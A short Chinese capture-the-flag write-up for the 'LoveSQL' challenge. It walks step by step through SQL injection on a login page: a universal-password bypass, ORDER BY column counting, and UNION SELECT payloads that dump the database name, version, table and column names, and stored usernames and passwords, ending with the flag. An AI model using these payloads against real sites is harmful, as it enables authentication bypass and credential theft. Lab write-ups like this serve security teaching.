参考:[极客大挑战 2019]LoveSQL 1(SQL注入)_MangataTS的博客-CSDN博客
[极客大挑战 2019]LoveSQL(最基础的sql注入,万能密码登录)-CSDN博客
进入发现是用户界面
先用万能密码试一下
1' or'1'='1'#
经过测试(比如左边的1去掉单引号或者单引号换成双引号)
发现有单引号注入
查询一下列数
/check.php?username=admin' order by 3%23&password=1 存在
/check.php?username=admin' order by 4%23&password=1 不存在
发现共有三列
再测一下回显点(修改回显点,通过回显获取数据库的具体信息)
注意:这里不能用admin了,否则不会出现回显点
/check.php?username=1' union select 1,2,3%23&password=1
通过2,3两个回显点来爆一下数据库名和版本
/check.php?username=1' union select 1,database(),version()%23&password=1
再去爆一下表
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
最有嫌疑的是l0ve1ysq1这个表,爆一下这个表的字段
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' %23&password=1
注意这里的表名需要用单引号括起来
出现三个字段,再爆一下内容
/check.php?username=1' union select 1,2,group_concat(id,username,password) from%20 l0ve1ysq1 %23&password=1
搜索flag直接出现
flag{2f54a048-4208-4852-a321-1adc88f643f4}